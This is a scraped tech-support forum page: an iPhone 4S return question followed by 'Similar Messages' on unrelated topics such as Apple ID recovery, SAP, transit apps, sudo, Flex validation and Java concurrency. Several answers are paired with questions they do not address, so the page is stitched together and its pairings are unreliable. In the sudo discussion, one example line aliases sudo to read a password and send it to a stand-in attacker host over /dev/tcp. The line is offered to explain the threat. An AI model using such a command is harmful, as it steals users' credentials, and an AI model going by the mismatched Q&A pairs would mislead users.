What is your advice for my case ( returning iPhone 4S)?

Hello guys,
My story is:
I have bought my 4S at launch day. When I went home I saw scratches on the metal band , dead pixel and very dimmer top half of the screen.
Returned it immediately and got a new one. This one had two little scratches on the display under the glass and one speck of dust under the glass also.
At first I liked the screen more than first unit and as long the issues weren't so obvious- I kept it and decided to live with them.
But yesterday I was at Apple Store  and compared mine screen with the new batches they got there. All new phones had very white screens and mine looked in red tint when compared. It seems that I had to wait  a bit for the new batches instead of going on 14 October to get one on launch day..
My screen is still suffering of dim top half, competed to the phones, exposed in the store, but not so much dimmer as my first unit.
My question is:
I know I will be given a refurbished one, frankly- I don't want to. So, is it possible, of your opinion, to ask the Genius to swap mine screen with one of the exposed phones there (in Apple Store). I don't really think they will lose something when do that, as long as these phones are only for exposition.
Do you think I will have my request approved?

I seriously doubt they will exchange your iPhone with one of the display units.
Doubtful if Apple has any refurbished iPhone 4S in stock for an exchange under warranty at this point. An exchange under warranty is provided in a plain box with the iPhone only regardless if new or refurbished and there should be no way to tell the difference. The exchange will remain under the same warranty as your original purchase.

Similar Messages

  • Hi Apple! My iphone 4g has restored and I can't retrieve the account. I have tried the password renewal that will be send on my mail but unfortunately my mail has been deactivated also.what is your solution for this kind of cases? This is so unfair.

    Hi Apple! My iphone 4g has restored and I can't retrieve the account. I have tried the password renewal that will be send on my mail but unfortunately my mail has been deactivated also.what is your solution for this kind of cases? This is so unfair.

    http://support.apple.com/kb/HT5312
    If you established a rescue email address, there will be a link on the "Passwords & Security" page of id.apple.com.  Clicking the link will send the reset to your rescue email address (NOTE:  This is not the same address as your Apple ID email)
    If there is no link on the page, then you didn't establish a rescue email address.  Contact AppleCare at 800.694.7466, and ask for account security.  You will need to answer some questions to verify your identity, AND you will need access to a computer to generate a temporary support pin.
    HTH

  • Your advice for best resolution/page dimensions for building a website

    Hi.  I would like to know your opinions on what the best resolution to use is prior to building a website in GoLive.
    Is it best to design a site that would fit a monitor screen thats 1024 x 768, considering that 1024 x 768 is probably the most common resolution people use?
    Or should I go higher and design my site at a 1280 x 1024 resolution, which is what I've set my monitor to display that I'm currently using, although
    it's not as common a resolution that most people use...and people with monitors that do not support resolutions higher than 1024 x 768 will have to scroll
    to the right to see the full webpage?
    Or am I overanalyzing this too much, considering that flatscreen monitors are the current trend, and most of those are capable of displaying a 1280 x 1024 resolution, and I'd simply need to add a little message at the top of my site that reads "this site is best viewed at 1280 x 1024 resolution"?
    ...your feedback please.
    Thanks,
    Chris.

    Well, let me ask your advice on this then.  I've been designing my website in Golive basically by setting up a grid, and placing transparent gifs where I want them to go, with a frame on the left for the menu.
    My website is a unique custom tribal store in which I create and sell all sorts of cool things..
    I have been designing my website to view fully on a 1024 x 768 resolution.  Since I am not using a liquid css layout, if you view my website at 1280 x 1024 resolution, you will see a white column on the right where the website ends at 1024 x 768.  To illustrate what I am referring to, here are the examples;
    viewed at 1024 x 768, it's perfect.
    but viewed at 1280 x 1024, herein lies the problem.
    So, what is your advice on how I should go about laying out my website so that it will scale to view fully on a 1280 x 1024 resolution as well as a 1024 x 768?   The type of layout I need involves a static scrolling left menu column (scaling ok), a static header for my company logo (scaling ok) that does not move when you scroll down the page, and a liquid body that can scale and scroll down while the header stays in place.
    Should I use a liquid css layout, should I continue as I am doing with a basic grid and left frame for the menu, as well as a frame for the header so it remains static, and a frame for the body that scrolls so people can view products...
    I need advice on how to structure the site before I begin adding products and images and things.  What would be the best type of layout to use for what I am trying to accomplish so that it can be viewed fully at virtually any resolution when a person expands or contracts their browser window?
    Thanks,
    Chris.

  • WHAT IS T-CODE FOR ADVANCE TAX RETURN REPORT

    hi MASTERS
    WHAT IS T-CODE FOR
    ADVANCE TAX RETURN REPORT

    Dear,
    Create one special G/L for advance payment to site engineer. For e.g. you have create special G/L T - Advance to site engineer.
    Whenever you make advance payment of Rs. 1000 to site engineer the entry will be - Use transaction F-02
    PK              Account                 Sp G/L          Amount
    29               Vendor a/c                 T                 1000
    50               Cash a/c                                       1000
    When engineer returns Rs. 200. then - Use transaction F-02
    PK              Account                 Sp G/L          Amount
    39               Vendor a/c                 T                 200
    40               Bank a/c                                       200
    It is better if you create your own document type for e.g. ZR - Return of adv payment from engineer so that this transaction will identified very easily.
    Regards,
    Chintan Joshi.

  • Hello, I would like to know what is your policy for higher educational institutes or with whom should I be in touch with? Thanks

    I would like to know what is your policy for higher educational institutes or with whom should I be in touch with?
    Thanks a lot for your help,

    Apple HED has no published email addresses, and since Apple does not sell their products directly in Israel, you will probably need to work through local distributors or dealers in any case. I would suggest contacting Apple's authorized distributor, iConGroup:
    http://www.icongroup.co.il
    Regards.

  • What is your solution for getting public transportation in map? Actually my iphone is useless for me because it hasn't a public transportation map.

    what is your solution for getting public transportation in map? Actually my iphone is useless for me because it hasn't a public transportation map.

    This has been a huge problem for me too. I was actually late to work yesterday and wanted to throw my phone out the window of the bus that I finally was able to find. I'm new to Portland, so this suddenly missing feature is particularly problematic. It really is so hard to avoid getting angry, I just can't believe they would eliminate a feature that people rely on so heavily. But anger doesn't do any good so I'm trying my hardest to stay calm and figure out an acceptable solution while Apple works to restore this feature - at least I pray to God that that's what they aim to do. Here are the apps that I've been trying, I'll try to explain how they work and maybe they will work for you. This is going to be a long post, but I'm hoping some people will find it helpful.
    I'll start with the most obvious of all - adding Google Maps to your homescreen. Every time you launch the app you will get a diaologue prompting you to allow Google Mpas to use your location, and then you will be in an environment that looks similiar to what we are used to. It does not integrate with your contact list, so one workaround I've been using is going to my contacts and holding my finger on an address to copy it to the clipboard. Be aware that leaving this web app will lose whatever you're looking at and go back to the start, so best to do this before you launch it. You'll notice some strange behavior - for instance the drop down menu of suggested locations will apear and then quickly disaprear, so just ignore this. Often it will often unexpectadly scroll to the top for some reason when you're trying to do something towards the bottom. Haven't figured out a fix except for trying to not get flustered and doing things slowly and deliberately. It's not as quick as we're used to anyway so this is not hard to do. If you'd like to see any of the suggested routes on a map you can do this by clicking the small 'Map View' link. Just be aware that you can only do this once or you will have to type in your starting an ending points again, as there is no way to go back to the list you were just looking at once you are in map view. One thing that I have found helpful about the Google maps method is when looking at a route, whether in list or map view, you can see the stop ID right there, which is helpful if your city has a way to check real-time arrivals. For instance here in Portland you can text this stop ID to a certain number and immediately receive real-time arrivals.
    The app I've been using most is called 'Transit'. It's pretty beautiful aesthetically, and the UI is simpler than anything else I've come across, which is convenient for a task that you want to accomplish as quickly as possible so you can put away your phone and be on your way. When you first launch it you're presented with three bus routes that stop near your current location. It tells you which direction the route is headed and in how many minutes the next bus is scheduled to arrive. This is helpful if you are familiar with that particular busline, otherwise there's no indication of where the line will take you. Upon clicking a line, you're presented with three buttons (again, loving the simplicity). One reverses the direction of that same busline. One expands the list of times so you can quicly see all the arrival times for that bus route at that particular stop for the entire day. The other takes you to map view and quickly displays the location of this stop. And here's the best feature of all (!!), it shows you the busline as a blue line and every single stop is marked with a circle. You can click on a circle and it displays the expected arrival time at that stop. This is all very helpful in some circumstances, but of course it does not let you type in a destination and have it build a route for you, and if you'll be transferring to another line this will not help you at all. To accomplish this you press the arrow in the lower left where you can type in a starting point, ending point, and an arrival/departure time. And this DOES reference your contact list. It will then allow you to quickly switch between three routes that it selects. It also searches Maps (actually it says 'Powered by Foursquare' for landmarks/establishments. For instance if I type in 'sushi', I'm presented with a handful of sushi joints in my area. There is a bug in this app where sometimes the 'Route' button is missing and you can only resolve this by leaving the app and quitting the process in the multitasking trail. When it builds your route, you can click on any point of transfer and it will tell you what time that bus/train is leaving. There is no list view, but personally I never found list view very helpful anyway. I know some people will disagree though.
    Now I'll talk about HopStop. This is a kind of clunky interface unfortunately, and also has ads which I can't stand. It is able to reference your contact list. My least favorite thing about this app is the list it gives you is so excessively long-winded it's hilarious. Every single stop along the route is listed in this list view, so you'll be scrolling through literally dozens of pages of useless information like 'Pass such-and-such - 1 min. Pass such-and-such - 1 min. Pass such and such - 2 min.' Oh well. The good news is on this insanely long list, it indicates when you are supposed to do something other than sit patiently in your seat by having an icon to the left of that instruction - either a person walking or a bus number. When you switch to list view unfortunately it no longer displays departure times, so you'll have to be switching betwen maps and list view. One great feature of this app is it lets you save routes to your favorite list. It also lets you find bus stops and quickly see what bus lines hit those stops. I can't stand the flashing advertisements, so I avoid using this at all costs.
    On to 'City Maps'. Again, the first thing you will see is a short list of bus lines that hit the stop nearest to you. Tap on one and it shows you the next three departures in either direction, as well as the distance between your current location and the stop in question. This app also searches for restaurants and such, but takes this feature on step further. Here when I type in 'sushi' and select a restaurant, I'm brought to a page that links to the Yelp, Foursquare, and Facebook pages associated with it - even has a link that takes you directly to the menu if Foursquare has it. Awesome feature, right?? Tap on 'Map' and it immediately displays the location and an option to build a few routes. It always displays the walking route below the bus lines to give you a sense of how long it would take (even if it's a two hour walk). Clicking on a bus route on this list takes you to list view. Unfortunately this also displays a deluge of pointess turns that only the bus driver need worry about, but it's not as bad as HopStop. There's an optional feature where it can display Google Street View images right in this list view, if you think that could be helpful. With one tap it quickly switches to a very aesthetically pleasig map view. There's an update button that lets you immediately refresh directions, edit starting/ending points, or give it new directions altogether.
    I'm sure in just a moment someone will come along and say something insulting about how we're blowing things out of proportion. I guess that's just the nature of trolls - a lot of people find being angry on forums while hiding behind their screen names cathartic for obvious reasons. Let's all of us just do our best to ignore these people and keep this discussion diplomatic and oriented towards helpful solutions. I know none of us want to give up our beloved iPhones, I'm only considering it as a last resort.

  • Hi, my name is Laith I'm from Iraq I just want to know what are the steps for buying a new iphone 5 from apple store and how to ship it to Iraq ???? and I would be grateful for you

    hi, my name is Laith I'm from Iraq I just want to know what are the steps for buying a new iphone 5 from apple store and how to ship it to Iraq ???? and I would be grateful for you

    Legality aside (I'm not a lawyer and have no opinion on the matter) in order to make a purchase of an iPhone 5 you would need to travel to a country where they are for sale and purchase it there. Be sure to get one that is officially unlocked or you would not be able to use it with your cell carrier. Be sure that your carrier supports use of the iPhone before you buy. Also note that the warranty of the iPhone is only valid in the country of purchase.
    Appe does not ship outside of the countries where it sells the phones.

  • What's your favorite MacBook Pro case?

    What’s your favorite 15” MacBook Pro case? I am looking for something small that will safely hold the 15” Macbook Pro and some accessory’s such as a mouse and AC adapter.

    Bag n’ Tag It
    by: Digital Dude
    In today’s world of everything slim and integrated, more techno fanatics and Spartan travelers are embracing the minimalist approach. To that end, I was looking for an alternative to my bulky computer briefcase for travel. So, I ordered the “Buzz” by Tom Bihn.
    Initially, I was a bit skeptical since the price of the Buzz is rather high for a nylon bag in today’s crowded market. Fortunately, the folks at Tom Bihn have an excellent guarantee with great customer service. If you receive the bag, and it’s not what you expected, simply return it without having to request an authorization. Try that with any other bag manufacturer!
    Exterior:
    My first impression after opening the box was that the Buzz is in fact, a very well made nylon sling-bag with attractive accents. The initial fit on the back and shoulder was comfortable, and the crossover strap is wide and it fits guys and gals without interference. It’s also nicely padded and has a large durable quick disconnect fastener below your left rib area. There is a smaller adjustable waist strap for a more secure and balanced fit. I found it wasn’t necessary for casual carry although quite useful when riding a bike or running to catch that flight.
    Interior:
    The Buzz has two main compartments with waterproof zippers that don’t snag and they seal very well.
    The main compartment houses a unique padded panel with a fitted corner, similar to a fitted bed sheet that stretches over one corner of the MacBook Pro. The space between the computer holder and the zippered panel provides room for a book, magazines, documents, or even a small travel neck pillow.
    The second zippered compartment is on the very back and is slightly smaller or stepped down from the main compartment. It includes the usual key strap and some angled stitched pockets for pens, business cards and one larger pocket that can hold a Passport or airline tickets, etc.
    The third compartment is on the exterior right side and is made of elastic material and is designed to hold a bottle, small umbrella or equivalent. It also has two pull straps to further secure its contents.
    Finally, there is a super convenient compartment in the center of the crossover strap with a Velcro closure. This is my favorite feature, since it holds your cell, iPod or more notably, the new iPhone securely across your chest.
    Field Tests:
    I harnessed the Buzz, adjusted the straps and wore it for a week in and around town. The Buzz and its sling design holds' the 15-inch MacBook Pro, cables, charger, etc. in a vertical orientation on the back. This permits full range of motion for both arms, unlike most soft-sided computer briefcases.
    At times, I wanted to shift the load, so I simply reached around with my left hand and lifted up slightly on the bottom as I grabbed the ferry-loop (top strap) with my right hand. In this manner, you can easily adjust the tension on the crossover strap.
    The Buzz shoulder bag is advertised as offering “moderate” protection, although it’s quite adequate for most common travel activities. However, I wanted to see if I could fit my MacBook Pro while stuffed in the Tucano “Second Skin” sleeve. To my delight, it fit nearly perfect as though it was made for “The Buzz”. This combination effectively increases the travel protection by at least 2:1.
    Wish List:
    Accessory provisions or lack thereof, is a shortfall with many bag manufactures. User’s end up stuffing their charger, cables and adapters into secondary bags which all end up at the bottom, resulting in disorganized clutter. I visualize a removable fitted panel with separate compartments or straps that hold a basic array of typical computing items. In fact, I ended up using one of my luggage toiletry panels to help organize my computer gear in the Buzz. It holds everything vertically and eliminated the pile at the bottom.
    After field-testing, I decided this bag was definitely a keeper’. However, I would prefer a tighter fit of the MacBook Pro or a matching sleeve. I would also favor a more contoured and softer crossover strap with an exterior I.D. card and pen/pencil slot. Since I’m dreaming here, how about a less abrasive backside for improved comfort.
    Conclusion:
    The Buzz sling bag is a well-made, lightweight, ergonomic alternative to a backpack or the horizontal briefcase design. It holds most everything one might need for mobile computing while providing an excellent provision for Apple’s new iPhone.
    Regards,
    ~DD
    References:
    http://www.tombihn.com/page/001/PROD/TBP/TB0151
    http://store.apple.com/1-800-MY-APPLE/WebObjects/AppleStore.woa/wa/RSLID?mco=114 576C9&nplm=TJ953VC/A
     MBP Core Duo: 15"/2.16/2GB DDR/7200HD   Mac OS X (10.4.10)   "New" AEBS w/n-draft

  • What is the reson for Fun SAP_WAPI_WORKITEMS_TO_OBJECT returns no value

    Hi All
    call function 'SAP_WAPI_WORKITEMS_TO_OBJECT'
        EXPORTING
          objtype                  = 'ZAR'
          objkey                   = v_objkey
          top_level_items          = c_set
          selection_status_variant = 0001
          text                     = c_set
          language                 = sy-langu
        TABLES
          worklist                 = i_worklist
          message_lines            = i_message_lines.
    I am using Function SAP_WAPI_WORKITEMS_TO_OBJECT  by passing object type and object key and looking for top level items . I get values for i_worklist[] all the time but for one AR i dont see a value in i_worklist[] .
    I know that Functional ppl had messed up with the workflow status in IMA2N transaction by changing the status....
    I want to know what is the reason for not getting any value in i_worklist[] for some ARS and works fine for other ARS.
    I can see the work id in workflow header table but i dont get workid when i use this function .
    Could you all tell me whats the reason for not getting ,i appreciate all your help
    Thanks

    With parameter selection_status_variant = 0001, you will only get a list of active instances.
    The parameter can have the following values:
    0000     All Instances
    0001     Active Instances (Running, Ready, Committed,...)
    0002     Finished Instances (Completed, Cancelled)
    0003     Active Instances (All)
    Cheers,
    Ramki Maley.

  • So what is everyone using for a case?

    I'm just wondering what everyone is using as a case. I personally like this one :
    http://www.griffintechnology.com/products/icleartouch/
    However it is not out yet : ( .
    Right now I've got nothing. What are you guys using?

    I really like the look of this one:
    http://www.ezgear.com/iPod/ezViewTouch.htm
    However it says its not ready yet
    Although...
    http://shop.ipodworld.co.uk/iPodWorldSite/product/alliPods_Pending/EZVIPT6G.htm
    This great site has it in stock
    Ordering in process lol
    Chris

  • Can You Offer Clarity - Who, What, When Your Eligible for Promotional Refund

    In our town we have two retailers which are literally blocks mile from each other; Verizon Wireless 76 Dodge St., 01915 and Verizon Wireless at 136 Dodge St., 01915.  I'm sifting through the VWZ website to better understand the promotion and to better understand given the information shared at "Verizon Wireless 136 Dodge St....".
    I've been a customer of VWZ for years and have opted not to go to 76 Dodge St. given the years of poor customer service experience at that particular location and return to 136 Dodge St given their great customer service.  Now I read your posting as I comb through the readings to learn more about the promotion to help better understand who, what and under what circumstances you are eligible to receive the promotional upgrade. 
    I only went to the store today given the VWZ website did not allow me to change my plan to from nationwide to single place and pre-order the phone.  My frustration mounted when I went to the store I was at today stated VWZ "misinformed the public..." and the $200 upgrade really should really have read, "...receive up to a $200 refund..." -- that is, I would only receive the cost of the appraised value of the iPhone 4S which is only know after I submit the item to VWZ.  Here I read this post which you indicate it's only available at "Verizon Wireless" which leaves be baffled - does this include authorized retailers who print receipts stating "Verizon Wireless, 136 Dode St... or what?  The only reason why I remained with VMZ (it wasn't for the customer service), was the promotional offer and the new single plan being offered.  If this is not the case, I like to void this order (which I won't be surprised I'll be charged) and start shopping around at other carriers.  I admit this promotional offering is very clear with no clear indication on who, what and under what circumstance you are eligible and the cost you will encounter.

    nickleu wrote:
    i've never pay close attention to this problem,until one day i open a terminal and type
    sudo su
    ,and i jumped to a root session without any problem.
    I mean, isn't it stupid that someone who has my user password can easily get my root access? What is my long, complex root password for?
    Later on I even think of more cases where I can jump to a root session with just my user password.---sudo vim ; sudo bash,eg.
    Google around and search arch forum didn't give me much.
    BTW, I just went across this Linux Journal passage http://www.linuxjournal.com/content/sto … r-password. there is a comment claiming that sudo is not safe.
    Anonymous from LinuxJournal wrote: su is a perfectly safe command, sudo is not. When you have work to do, you don't (or shouldn't) have time to find that sudo isn't configured for what you need to do- or worse, that it's misconfigured and you have a glaring security hole on your server. This happens everyday.
    So how do you guys think?
    I think NOEXEC is the sudo option you're looking for. It prevents sudo processes from spawning child processes, which may or may not be a shell. Use it in conjunction with a specific, known-to-be-secure command line, and you can mitigate the problem you're talking about. Personally, I don't use su nor sudo anymore. Instead I log into my passwordless root account from another TTY, which getty permits by default. su and ssh deny access to passwordless accounts, so I don't really see it as a security problem.
    Furthermore, I think your concern is misplaced: if someone had access to your user password, there is far more he or she could do beyond using sudo (install a keylogger, alias sudo='read -p Password > /dev/tcp/attacker.com/1234', gdb(1), ptrace(2), etc). More realistic threats are usually those involving privilege escalation by other users or programs without the use of su/sudo.
    Edit: see also man sudo(1) and sudoers.conf(5).
    Last edited by EscapedNull (2014-11-05 21:32:41)

  • What is your strategy for form validation when using MVC pattern?

    This is more of a general discussion topic and will not necessarily have a correct answer. I'm using some of the Flex validator components in order to do form validation, but it seems I'm always coming back to the same issue, which is that in the world of Flex, validation needs to be put in the view components since in order to show error messages you need to set the source property of the validator to an instance of a view component. This again in my case seems to lead to me duplicating the code for setting up my Validators into several views. But, in terms of the MVC pattern, I always thought that data validation should happen in the model, since whether or not a piece of data is valid might be depending on business rules, which again should be stored in the model. Also, this way you'd only need to write the validation rules once for all fields that contain the same type of information in your application.
    So my question is, what strategies do you use when validating data and using an MVC framework? Do you create all the validators in the views and just duplicate the validator if the exact same rules are needed in some other view, or do you store the validators in the model and somehow reference them from the views, changing the source properties as needed? Or do you use some completely different strategy for validating forms and showing error messages to the user?

    Thanks for your answer, JoshBeall. Just to clarify, you would basically create a subclass of e.g. TextInput and add the validation rules to that? Then you'd use your subclass when you need a textinput with validation?
    Anyway, I ended up building sort of my own validation framework. Because the other issue I had with the standard validation was that it relies on inheritance instead of composition. Say I needed a TextInput to both check that it doesn't contain an empty string or just space characters, is between 4 and 100 characters long, and follows a certain pattern (e.g. allows only alphanumerical characters). With the Flex built in validators I would have to create a subclass or my own validator in order to meet all the requirements and if at some point I need another configuration (say just a length and pattern restriction) I would have to create another subclass which duplicates most of the rules, or I would have to build a lot of flags and conditional statements into that one subclass. With the framework I created I can just string together different rules using composition, and the filter classes themselves can be kept very simple since they only need to handle a single condition (check the string length for instance). E.g. below is the rule for my username:
    library["user_name"] = new EmptyStringFilter( new StringLengthFilter(4,255, new RegExpFilter(/^[a-z0-9\-@\._]+$/i) ) );
    <code>library</code> is a Dictionary that contains all my validation rules, and which resides in the model in a ValidationManager class. The framework calls a method <code>validate</code> on the stored filter references which goes through all the filters, the first filter to fail returns an error message and the validation fails:
    (library["user_name"] as IValidationFilter).validate("testuser");
    I only need to setup the rule once for each property I want to validate, regardless where in the app the validation needs to happen. The biggest plus of course that I can be sure the same rules are applied every time I need to validate e.g. a username.
    The second part of the framework basically relies on Chris Callendar's great ErrorTipManager class and a custom subclass of spark.components.Panel (in my case it seemed like the reasonable place to put the code needed, although perhaps extending Form would be even better). ErrorTipManager allows you to force open a error tooltip on a target component easily. The subclass I've created basically allows me to just extend the class whenever I need a form and pass in an array of inputs that I want to validate in the creationComplete handler:
    validatableInputs = [{source:productName, validateAs:"product_name"},
                         {source:unitWeight, validateAs:"unit_weight", dataField:"value"},
                   {source:unitsPerBox, validateAs:"units_per_box", dataField:"value"},
                        {source:producer, validateAs:"producer"}];
    The final step is to add a focusOut handler on the inputs that I want to validate if I want the validation to happen right away. The handler just calls a validateForm method, which in turn iterates through each of the inputs in the validatableInputs array, passing a reference of the input to a suitable validation rule in the model (a reference to the model has been injected into the view for this).
    Having written this down I could probably improve the View side of things a bit, remove the dependency on the Panel component and make the API easier (have the framework wire up more of the boilerplate like adding listeners etc). But for now the code does what it needs to.

  • Lock and semaphore, what's better method for my case

    Hi all,
    I'm implementing a classic case: a consumption queue with infinite capacity. That's say I have a queue of infinity capacity, a thread to put objects into the queue, another thread take it out. Pseudo code is smth like below:
    void put(Object o) {
    put message into the queue
    if (consume thread is waiting) {
    lock();
    signal();
    unlock();
    void eat() {
    if (queue not empty)
    take object out;
    else
    lock;
    wait for signal from producer;
    wake up and take object out;
    unlock;
    I don't know if I should use semaphore or Lock interface to get the job done. Do you know which one is better in my case? I'm writing an apps which is very sensitive in latency so basically I want the eater to get the object as soon as possible. Any advices?
    Message was edited by:
    principles

    Blocking queue doesn't work for me as it is too slow.
    I don't need to lock the data because one thread
    adds too the tail, one thread consumes the head, so
    why bother?LinkedBlockingQueue allows concurrent access to the head and tail ie it uses two different locks.
    A Lock is a mechanism for mutual exclusion. It generally has a notion of ownership and so the thread that locks must be the thread that unlocks.
    A Semaphore is a resource counter. There are no constraints on which thread signals() after await(). It is only a protocol that you establish in your code that allows it to be used for exclusion.
    A bounded-buffer generally needs two synchronization aids:
    a) an exclusion control to ensure the data structure is not corrupted by concurrent access
    b) a coordination control to allow consumers to block when the buffer is empty, or producers to block when the buffer is full.
    These two can be combined by using "synchronized" methods and wait/notify. Or by using Lock and associated Condition objects. Or you can use "synchronized" blocks or Lock for exclusion, and handle the coordination using a seperate semaphore (which must use some form of internal synchronization too - but perhaps more efficient.)
    If you have a lock-free data structure, such as ConcurrentLinkedQueue then you don't need anything for (a) and so you only need coordination. So try using a Semaphore: put() increments it and take() decrements it.
    But the Semaphore still becomes a serialization point in your code.

  • What's your strategy for in-memory databases?

    The recent Lattanze Center research study identified trends that you cannot afford to ignore.  Dr. Elliot King will present the latest research during an informative webinar entitled: u201CIn-Memory Database Adoption is Gaining Momentum.  Whatu2019s your strategy?u201D
    For more information: http://bit.ly/kDpsfH 
    When:                 June 2 at 10:30 AM PDT.
    Duration:     45 Minutes
    Cost:               Free
    Location:          At your computer
    Space is limited, so register now @ http://bit.ly/ilgFot
    Besides learning about the latest trends within In-Memory Database technologies, youu2019ll also receive a free copy of a new White Paper, u201CMaking the Business Case for In-Memory Databasesu201D and the Executive Summary of the recent research from the Lattanze Center for Business Excellence.
    Thursday, June 2, 10:30 AM PDT. Register now @ http://bit.ly/ilgFot  Space is limited!

    Well, it seems like most of you simply read the
    various texts and try the vendors' examples. I'm
    surprised that no one mentioned ever having bought a
    prototype application from the onset. "bought"? What's that mean? You don't buy prototypes. You download evaluation versions, maybe.
    I try to find sample code and tweak it to see the effects. Otherwise, I start writing small sample code an build on that.
    I consider myself a reasonably competent core Java
    programmer, but I had serious difficulty configuring
    and merging its related technologies. There were so
    many disjointed pieces of instructional information
    that the additional research time really hurt our
    budget severely. Not an uncommon thing, I'm sure. There's a lot of stuff. But don't bother learning all of it. Not in detail, at least. It's a good idea to familiarize yourself with the names of packages/libraries and what they do. But only really learn what you need to learn for what you need to do. The next project you will probably need other things, so you learn them then.
    bsampieri,
    I've setup Tomcat and tried the examples--in fact, I
    normally follow tutorials for all products I hope to
    use. Problem is, the examples and tutorials never
    address my specific needs. So, I usually inch toward
    my goal by spending weeks or months in forums to
    continue where the tutorials leave off. Anything complex is going to not be there.... the trick is to identify pieces that you can pull out to build more complex apps. And the fact that JSP/servlets have the issue of being compounded by all the HTML/CSS/JS and HTTP protocol ... I don't want to say limitiations, exactly... Well, it just makes things more complex and harder to know what you need.
    Perhaps you guys are much faster and smarter than
    I...or you have a much bigger budget :)Probably not... on either account.

  • Adobe: WHAT IS YOUR PLAN FOR DPS/ACROBAT/DISTRIBUTION?

    Based on Matthew's post in this thread:
    http://forums.adobe.com/thread/898426?tstart=0
    I'm frankly concerned about investing any more time and resources into DPS without SOME SORT OF OUTLINED PLAN from Adobe.  Hinting that you may 'limit' functionality of the acrobat.com distribution method (which could mean anything, really) - but providing no further details - is simply not responsible.
    DPS is no longer beta.  It's a product with an accepted workflow that accommodates those who want to publish magazine content via the Pro/Enterprise plans, and those who wish to distribute via acrobat.com.  There's been endless posts on this subject, and I would hope that Adobe has some sort of roadmap to giving it's customers continued support and options.  Instead, we get a cryptic message about how the acrobat.com distribution method is blowing up your servers.
    Adobe, I'm asking for some clarification here and a clear outline of what you intend with this product.  Letting us travel down a course of building great material using DPS, and then possibly pulling the rug out from under us, is truly a concern.
    Remember, it's not just your issues that are at stake.  Some of us are promoting/pitching/praising this new software and process to our companies and clients, and getting solid support.  We need to know that you've got some sort of solid foundation and plan going.  I cannot keep pitching/using this stuff, only to later tell the people that are paying the bills that 'oops, Adobe changed their minds.'.
    Tnx

    1. Define 'limited' for the Free acrobat.com account.
    2. With either the Basic or Plus acrobat.com subscriptions, define 'limited'.
    3. What is the max number of folios that can be hosted with Basic or Plus subscriptions?
    4. If I create a folio and do NOT use the Share method, but simply give out a username and password to download the folio, define 'limited'.
    All this remains very unclear.
    Tnx

Maybe you are looking for

  • Customised Variant to ALV Report

    Hi, I had a requirement to display customer name in the output display fo DUNNING Report (this report is ALV). i created a new variant and assigned it as default and created the trasnport for the same to move to TEST Server. The transport is shown as

  • How can I use an international credit card when I bought my iPad in china and currently a residence of china?

    I want to purchase apps and because I reside in CHina the options for payment are Chinese banks and yet I hold an international credit card. I want to pay for my apps and unfortunately because I am not a Chinese citizen, I don't hold a local credit c

  • How do I change permissions on a USB drive?

    Hi I have a thumb drive that is MS-DOS (FAT12).  It only gives me permission to read. Is it possible to change the permission to read write? I don't mind if I have to reformat the drive. AS

  • Initialize a stateful session bean from another

    Hi, I am trying to create and initialize a stateful session bean from another stateful session bean. The code is as follows This method belongs to DefaultSessionBean where it creates the AdminSessionBean based on few checks and returns it to the clie

  • Web server continually hacked

    Hi folks, we are running our organisation's website on a mac mail server (10.4). However we seem to be getting hacked periodically, where our index.php is either replaced or completely deleted. I have ftp switched off, does anyone have any advice on